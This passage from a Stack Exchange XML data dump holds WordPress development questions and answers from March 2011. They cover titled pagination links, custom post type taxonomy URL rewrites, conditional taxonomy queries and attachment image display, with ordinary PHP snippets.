portfolio posts using this post type or any other &quot;generic data types&quot; that need post capabilities.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-09T16:29:36.803" LastActivityDate="2011-03-09T16:29:36.803" CommunityOwnedDate="2011-03-09T16:29:36.803" CommentCount="7" />
  <row Id="11578" PostTypeId="1" AcceptedAnswerId="11588" CreationDate="2011-03-09T13:20:47.673" Score="0" ViewCount="778" Body="&lt;p&gt;Does anyone know if it's possible to change wp_link_pages, so that the title of each nextpage quicktag is used rather than numbers? I can't seem to find anything on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of how I'm using the quicktag: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle:Overview--&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;wp_link_pages();&lt;/code&gt; it displays/outputs; &lt;code&gt;Pages: 1 2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer it to display/output; &lt;code&gt;Pages: Overview | 2nd Page Title | 3rd Page Title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where it takes the &lt;code&gt;&amp;lt;!--pagetitle:Overview--&amp;gt;&lt;/code&gt; and uses this as the link to the next page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/help greatly appreciated, S.&lt;/p&gt;&#xA;" OwnerUserId="3362" LastActivityDate="2011-08-02T09:12:48.527" Title="Custom page-links for paginated posts | wp_link_pages &lt;!--nextpage--&gt; quicktag" Tags="&lt;pagination&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="11579" PostTypeId="1" CreationDate="2011-03-09T13:22:21.120" Score="-1" ViewCount="202" Body="&lt;p&gt;I know  there is a way to display all attachments without featured images? Is there any way to reverse the situation and to display all featured images without any other types of attachments? What to exclude in parameter 'exclude'?&lt;/p&gt;&#xA;" OwnerUserId="3815" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-05T01:21:20.687" LastActivityDate="2011-05-05T02:51:11.107" Title="Is there any way to show all featured images without others atachments?" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="11580" PostTypeId="1" CreationDate="2011-03-09T13:24:42.023" Score="0" ViewCount="393" Body="&lt;p&gt;I would like to create a page that will show all the posts from one particular category. I want to show the post title with the post thumbnail and content and nothing  else ..no other meta ..no post date, no author, no excerpt ,  nothing &#xA;I have tried to follow various answers/tutorials without success leading  me to feel somewhat confused. &#xA;Do I create a loop-category.php and add an if-category() statement for that category?? If so what statement please ?? please could someone explain clearly step by step Thank You &lt;/p&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-26T10:30:01.703" LastActivityDate="2011-03-26T10:30:01.703" Title="Create a category archive page in TwentyTen Child Theme" Tags="&lt;theme-development&gt;&lt;archive&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11581" PostTypeId="2" ParentId="11575" CreationDate="2011-03-09T13:33:50.747" Score="1" ViewCount="" Body="&lt;p&gt;You can do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add reff to query vars to hold the referring page ID&#xA;add_filter('query_vars', 'my_query_vars');&#xA;&#xA;function my_query_vars($vars) {&#xA;    // add movies_view to the valid list of variables&#xA;    $new_vars = array('reff');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add &lt;code&gt;?reff=&amp;lt;?php echo $post-&amp;gt;ID; ?&amp;gt;&lt;/code&gt; to your &quot;post's detail&quot; link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and on your &quot;post-detail.php&quot; you can create a back link using that query var&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink(get_query_var('reff')); ?&amp;gt;&quot;&amp;gt;Go Back&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as for having several post-pages take  a look at: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8608/how-to-quickly-switch-custom-post-type-singular-template&quot;&gt;How to quickly switch custom post type singular template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-09T13:33:50.747" CommentCount="1" />
  <row Id="11582" PostTypeId="1" AcceptedAnswerId="11708" CreationDate="2011-03-09T13:45:35.753" Score="1" ViewCount="265" Body="&lt;p&gt;What I want to achieve is an online listing catalog with a URL like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/drawing-tools/brand/type/material/color/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, I have a custom post type named &quot;drawing-tools&quot; with 4 custom taxonomies for it: &quot;brand&quot;, &quot;type&quot;, &quot;material&quot;, &quot;color&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user access a URL like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/drawing-tools/rotring/mechanical-pencil/plastic/black/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it gets all the items that match those criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is that all of the taxonomies are required to be in a URL. So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/drawing-tools/plastic/black/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would simply return an 404 error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my main question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly can I have all of the taxonomies in the URL in that form and return an 404 error page if one taxonomy is missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking to write a rewrite rule that would take those uri segments and pass them as arguments to a query based on the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;'Query Multiple Taxonomies'&lt;/a&gt; plugin and return that 404 error if one segment is missing. But I don't know how to accomplish this. Is there any solutions that you can give me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Update 1]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite rule would basically take this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/drawing-tools/rotring/mechanical-pencil/plastic/black/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make it into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/?drawing-tools_name=rotring+mechanical-pencil+plastic+black&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above structure is required by the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;'Query Multiple Taxonomies'&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Update 2]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've given up to the Query Multiple Taxonomies plugin and instead I've switched to WP 3.1. Now, with the help from this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5308/custom-post-types-taxonomies-and-permalinks&quot;&gt;previous question&lt;/a&gt; I've managed to get to work those taxonomies like I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('drawing-tools', array(&#xA;    'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'Drawing Tools' ),&#xA;            'singular_name' =&amp;gt; __( 'Drawing Tool' ),&#xA;            'add_new' =&amp;gt; __( 'Add New' ),&#xA;            'add_new_item' =&amp;gt; __( 'Add New Drawing Tool' ),&#xA;            'edit' =&amp;gt; __( 'Edit' ),&#xA;            'edit_item' =&amp;gt; __( 'Edit Drawing Tool' ),&#xA;            'new_item' =&amp;gt; __( 'New Drawing Tool' ),&#xA;            'view' =&amp;gt; __( 'View Drawing Tools' ),&#xA;            'view_item' =&amp;gt; __( 'View Drawing Tool' ),&#xA;            'search_items' =&amp;gt; __( 'Search Drawing Tools' ),&#xA;            'not_found' =&amp;gt; __( 'No items found' ),&#xA;            'not_found_in_trash' =&amp;gt; __( 'No items found in trash' ),&#xA;            'parent' =&amp;gt; __( 'Parent Drawing Tool' ),&#xA;            ),&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; false,&#xA;    'show_in_nav_menus' =&amp;gt; false,&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'show_ui' =&amp;gt; true,&#xA;    '_builtin' =&amp;gt; false,&#xA;    '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;drawing-tools/%brand%/%type%/%material%/%color%&quot;), // Permalinks format&#xA;    'has_archive' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'supports' =&amp;gt; array('author')&#xA;));&#xA;&#xA;  register_taxonomy('brand',array('drawing-tools'), array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; _x( 'Brands', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Brand', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Brands' ),&#xA;        'all_items' =&amp;gt; __( 'All Brands' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Brand' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Brand:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Brands' ), &#xA;        'update_item' =&amp;gt; __( 'Update Brand' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Brand' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Unit Brand' ),&#xA;        'menu_name' =&amp;gt; __( 'Brands' ),&#xA;                ),&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'drawing-tools' ),&#xA;  ));&#xA;&#xA;  register_taxonomy('type',array('drawing-tools'), array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; _x( 'Types', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Type', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Types' ),&#xA;        'all_items' =&amp;gt; __( 'All Types' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Type' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Type:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Types' ), &#xA;        'update_item' =&amp;gt; __( 'Update Type' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Type' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Type' ),&#xA;        'menu_name' =&amp;gt; __( 'Types' ),&#xA;                ),&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'drawing-tools/%brand%' ),&#xA;  ));&#xA;&#xA; register_taxonomy('material',array('drawing-tools'), array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; _x( 'Materials', 'taxonomy general name' ),&#xA;            'singular_name' =&amp;gt; _x( 'Material', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Materials' ),&#xA;        'all_items' =&amp;gt; __( 'All Materials' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Material' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Material:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Material' ), &#xA;        'update_item' =&amp;gt; __( 'Update Material' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Material' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Material Name' ),&#xA;        'menu_name' =&amp;gt; __( 'Materials' ),&#xA;                ),&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'drawing-tools/%brand%/%type%' ),&#xA;  ));&#xA;&#xA; register_taxonomy('color',array('drawing-tools'), array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; _x( 'Colors', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Color', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Colors' ),&#xA;        'all_items' =&amp;gt; __( 'All Colors' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Color' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Color:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Color' ), &#xA;        'update_item' =&amp;gt; __( 'Update Color' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Color' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Color Name' ),&#xA;        'menu_name' =&amp;gt; __( 'Colors' ),&#xA;                ),&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'drawing-tools/%brand%/%type%/%material%' ),&#xA;  ));  &#xA;&#xA;&#xA;function filter_post_type_link($link, $post)&#xA;{&#xA;    if ($post-&amp;gt;post_type != 'drawing-tools')&#xA;        return $link;&#xA;&#xA;    if ($cats = get_the_terms($post-&amp;gt;ID, 'brand'))&#xA;        $link = str_replace('%brand%', array_pop($cats)-&amp;gt;slug, $link);&#xA;&#xA;    if ($cats = get_the_terms($post-&amp;gt;ID, 'type'))&#xA;        $link = str_replace('%type%', array_pop($cats)-&amp;gt;slug, $link);&#xA;&#xA;    if ($cats = get_the_terms($post-&amp;gt;ID, 'material'))&#xA;        $link = str_replace('%material%', array_pop($cats)-&amp;gt;slug, $link);&#xA;&#xA;    if ($cats = get_the_terms($post-&amp;gt;ID, 'color'))&#xA;        $link = str_replace('%color%', array_pop($cats)-&amp;gt;slug, $link);      &#xA;    return $link;&#xA;}&#xA;&#xA;add_filter('post_type_link', 'filter_post_type_link', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when a user access the link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/drawing-tools/rotring/mechanical-pencil/plastic/black/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;everything works as expected. The problem is that the user can also access a partial structure like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/drawing-tools/rotring/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and still get results according to those taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I restrict a user from accessing such a URL and instead returning a 404 error message?&lt;/p&gt;&#xA;" OwnerUserId="3821" LastEditorUserId="3821" LastEditorDisplayName="" LastEditDate="2011-03-10T10:55:46.543" LastActivityDate="2011-03-10T19:42:01.550" Title="Custom post type taxonomies URL rewrite" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="11583" PostTypeId="2" ParentId="11579" CreationDate="2011-03-09T13:54:44.900" Score="1" ViewCount="" Body="&lt;p&gt;Your query should be for the posts and then in your loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.&#xA;  the_post_thumbnail();&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-09T13:54:44.900" CommentCount="2" />
  <row Id="11584" PostTypeId="2" ParentId="11041" CreationDate="2011-03-09T14:14:36.183" Score="6" ViewCount="" Body="&lt;p&gt;There is a function called &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/functions.wp-scripts.php#L136&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_script_is( $handle, $list )&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;$list&lt;/code&gt; can be one of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'registered' -- was registered through &lt;code&gt;wp_register_script()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;'queue' -- was enqueued through &lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;'done' -- has been printed&lt;/li&gt;&#xA;&lt;li&gt;'to_do' -- will be printed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ditto all that for &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/functions.wp-styles.php#L134&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_style_is()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-03-09T14:14:36.183" CommentCount="3" />
  <row Id="11585" PostTypeId="2" ParentId="11223" CreationDate="2011-03-09T15:22:49.713" Score="0" ViewCount="" Body="&lt;p&gt;Okay, after looking at this and looking at this, I realised that my problem was NOT with the rewrite rules. It was with how my plug was dealing with the query string!!! It was looking for $_GET['prodid'] to populate the page. I did not realise that by using the &quot;query_vars&quot; hook, I need to be using $prodid (as long as I declared it as global first). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's sorted now and I thank Joe again for his help as well those involved in the first (linked) question, as that provided me with a lot of assistance too.&lt;/p&gt;&#xA;" OwnerUserId="3681" LastActivityDate="2011-03-09T15:22:49.713" />
  <row Id="11586" PostTypeId="2" ParentId="11561" CreationDate="2011-03-09T15:25:52.203" Score="0" ViewCount="" Body="&lt;p&gt;you can either use the !important property or ensure that your style definition has precedence by making it more specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=css+specificity&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=css+specificity&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-09T15:25:52.203" CommentCount="1" />
  <row Id="11587" PostTypeId="1" CreationDate="2011-03-09T15:36:15.557" Score="0" ViewCount="214" Body="&lt;p&gt;I have a query based on multiple post_types and taxonomies that works well, however I would like to add a level of complexity and query a taxonomy only for a specific taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This query works as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [topic] =&amp;gt; global-reach&#xA;    [sections] =&amp;gt; programs-and-services&#xA;    [regions] =&amp;gt; ghana&#xA;    [post_type] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; publications&#xA;            [1] =&amp;gt; media_releases&#xA;            [2] =&amp;gt; page&#xA;        )&#xA;    [posts_per_page] =&amp;gt; 10&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I would like to select only the 'pages' that have the taxonomy 'options' set to 'set-as-news-item' ... here is a somewhat unlogical pseudo query of what I would like to accomplish, but it should get the idea across.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [topic] =&amp;gt; global-reach&#xA;    [sections] =&amp;gt; programs-and-services&#xA;    [regions] =&amp;gt; ghana&#xA;    [post_type] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; aucc_publication&#xA;            [1] =&amp;gt; aucc_media&#xA;            [2] =&amp;gt; Array &#xA;                     (&#xA;                       [post_type] =&amp;gt; 'page',&#xA;                       [options] =&amp;gt; 'set-as-news-item'&#xA;                     (&#xA;        )&#xA;    [posts_per_page] =&amp;gt; 10&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could use the first query above and filter out unwanted posts as I loop them, but then I could not use Wordpress' built-in pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking for too much out of WP_Query right? &lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-03-09T16:31:10.023" Title="Can I query posts by taxonomy conditionally based on post type?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="11588" PostTypeId="2" ParentId="11578" CreationDate="2011-03-09T15:47:54.703" Score="1" ViewCount="" Body="&lt;p&gt;This is going to be kind of hackish, but it is possible using an alternate function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your theme's &lt;strong&gt;functions.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_link_pages_titled($args = '') {&#xA;    $defaults = array(&#xA;        'before' =&amp;gt; '&amp;lt;p&amp;gt;' . __('Pages:'), &#xA;        'after' =&amp;gt; '&amp;lt;/p&amp;gt;',&#xA;        'link_before' =&amp;gt; '', &#xA;        'link_after' =&amp;gt; '',&#xA;        'echo' =&amp;gt; 1&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    global $page, $numpages, $multipage, $more, $pagenow, $pages;&#xA;&#xA;    $output = '';&#xA;    if ( $multipage ) {&#xA;        $output .= $before;&#xA;        for ( $i = 1; $i &amp;lt; ($numpages+1); $i = $i + 1 ) {&#xA;            $part_content = $pages[$i-1];&#xA;            $has_part_title = strpos( $part_content, '&amp;lt;!--pagetitle:' );&#xA;            if( 0 === $has_part_title ) {&#xA;                $end = strpos( $part_content, '--&amp;gt;' );&#xA;                $title = trim( str_replace( '&amp;lt;!--pagetitle:', '', substr( $part_content, 0, $end ) ) );&#xA;            }&#xA;            $output .= ' ';&#xA;            if ( ($i != $page) || ((!$more) &amp;amp;&amp;amp; ($page==1)) ) {&#xA;                $output .= _wp_link_page($i);&#xA;            }&#xA;            $title = isset( $title ) &amp;amp;&amp;amp; ( strlen( $title ) &amp;gt; 0 ) ? $title : 'First';&#xA;            $output .= $link_before . $title . $link_after;&#xA;            if ( ($i != $page) || ((!$more) &amp;amp;&amp;amp; ($page==1)) )&#xA;                $output .= '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        $output .= $after;&#xA;    }&#xA;    if ( $echo )&#xA;        echo $output;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now update each call you have to &lt;code&gt;wp_link_pages&lt;/code&gt; to instead call on the new function &lt;code&gt;wp_link_pages_titled&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not perfect, and it is kind of hacky, but it will do what you asked, just be sure you use this format when writing them into your posts..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content intro&#xA;&#xA;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle: Title 1 --&amp;gt;&#xA;&#xA;Next page content 1&#xA;&#xA;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle: Title 2 --&amp;gt;&#xA;&#xA;Next page content 2&#xA;&#xA;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle: Title 3 is longer --&amp;gt;&#xA;&#xA;Next page content 3&#xA;&#xA;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle: Another Title --&amp;gt;&#xA;&#xA;Next page content 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also title the link to the first page, but it must appear before anything else, ie. right on the first line, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--pagetitle: Title for very first link --&amp;gt;&#xA;Content intro&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code was written with a mind to just getting it work, there's room for improvement, i mainly wanted to illustrate it would be possible, it's up to you(or anyone else) to expand upon it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps get things rolling for you.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-09T15:47:54.703" CommentCount="3" />
  <row Id="11589" PostTypeId="2" ParentId="6241" CreationDate="2011-03-09T16:05:42.160" Score="0" ViewCount="" Body="&lt;p&gt;If you're still working on this, I think what you're really trying to do is add custom fields, and then add meta-boxes to the &quot;New Post&quot; that let you edit them. I just did exactly that for the first time, myself, and it's pretty straightforward. Here's &lt;a href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;a really thorough walk-through&lt;/a&gt; of how to do just that.&lt;/p&gt;&#xA;" OwnerUserId="2930" LastActivityDate="2011-03-09T16:05:42.160" CommentCount="1" />
  <row Id="11590" PostTypeId="2" ParentId="11587" CreationDate="2011-03-09T16:25:48.493" Score="2" ViewCount="" Body="&lt;p&gt;As t31os said, you can't do that using WP_Query directy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can attempt to use the 'posts_clauses' filter to modify the individual SQL clauses generated by WP_Query, but it will be quite tricky, however you do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, it might be easier to replace the entire SQL query. You can use get_tax_sql() to take care of the taxonomy part (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_posts_request( $old_query, $wp_query ) {&#xA;    global $wpdb;&#xA;&#xA;    $ptypes = $wp_query-&amp;gt;get('post_type');&#xA;&#xA;    if ( 'page' != $ptypes[2]['post_type'] )&#xA;      return $old_query; // This is not the WP_Query you are looking for&#xA;&#xA;    // Do the conditional tax_query&#xA;    $tax_query = array(&#xA;      array(&#xA;        'taxonomy' =&amp;gt; 'options',&#xA;        'terms' =&amp;gt; array( 'set-as-news-item' ),&#xA;        'field' =&amp;gt; 'slug',&#xA;      )&#xA;    );&#xA;&#xA;    $clauses = get_tax_sql( $tax_query, $wpdb-&amp;gt;posts, 'ID' );&#xA;&#xA;    $join = &quot;FROM $wpdb-&amp;gt;posts {$clauses['join']}&quot;;&#xA;    $where = &quot;WHERE (&#xA;      post_type = 'aucc_publication' OR &#xA;      post_type = 'aucc_media' OR &#xA;      (post_type = 'page' {$clauses['where']})&#xA;    )&quot;;&#xA;&#xA;    // Do the other tax query&#xA;    $tax_query = array(&#xA;      array(&#xA;        'taxonomy' =&amp;gt; 'section',&#xA;        'terms' =&amp;gt; array( 'programs-and-services' ),&#xA;        'field' =&amp;gt; 'slug',&#xA;      ),&#xA;      array(&#xA;        'taxonomy' =&amp;gt; 'regions',&#xA;        'terms' =&amp;gt; array( 'ghana' ),&#xA;        'field' =&amp;gt; 'slug',&#xA;      )&#xA;    );&#xA;&#xA;    $clauses = get_tax_sql( $tax_query, $wpdb-&amp;gt;posts, 'ID' );&#xA;&#xA;    $join .= $clauses['join'];&#xA;    $where .= $clauses['where'];&#xA;&#xA;    return &quot;SELECT $wpdb-&amp;gt;posts.* $join $where ORDER BY post_date LIMIT 10&quot;;&#xA;}&#xA;add_filter( 'posts_request', 'my_posts_request' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll still have to take care of pagination etc. Take a look at how WP_Query does it.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-09T16:31:10.023" LastActivityDate="2011-03-09T16:31:10.023" CommentCount="3" />
  <row Id="11591" PostTypeId="1" CreationDate="2011-03-09T16:54:27.803" Score="0" ViewCount="378" Body="&lt;p&gt;I have two images attached to a page. One is being used as the featured image, and I want the other to automatically be displayed at the designated spot in the template (within the loop)  at full size. The image I want is the first image attachment, so as I understand, I should be able to simply use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo wp_get_attachment_image(1, 'full'); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, this is returning nothing. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-04-08T19:21:40.210" Title="Proper use of wp_get_attachment_image?" Tags="&lt;attachments&gt;&lt;media-library&gt;" AnswerCount="2" CommentCount="1" />
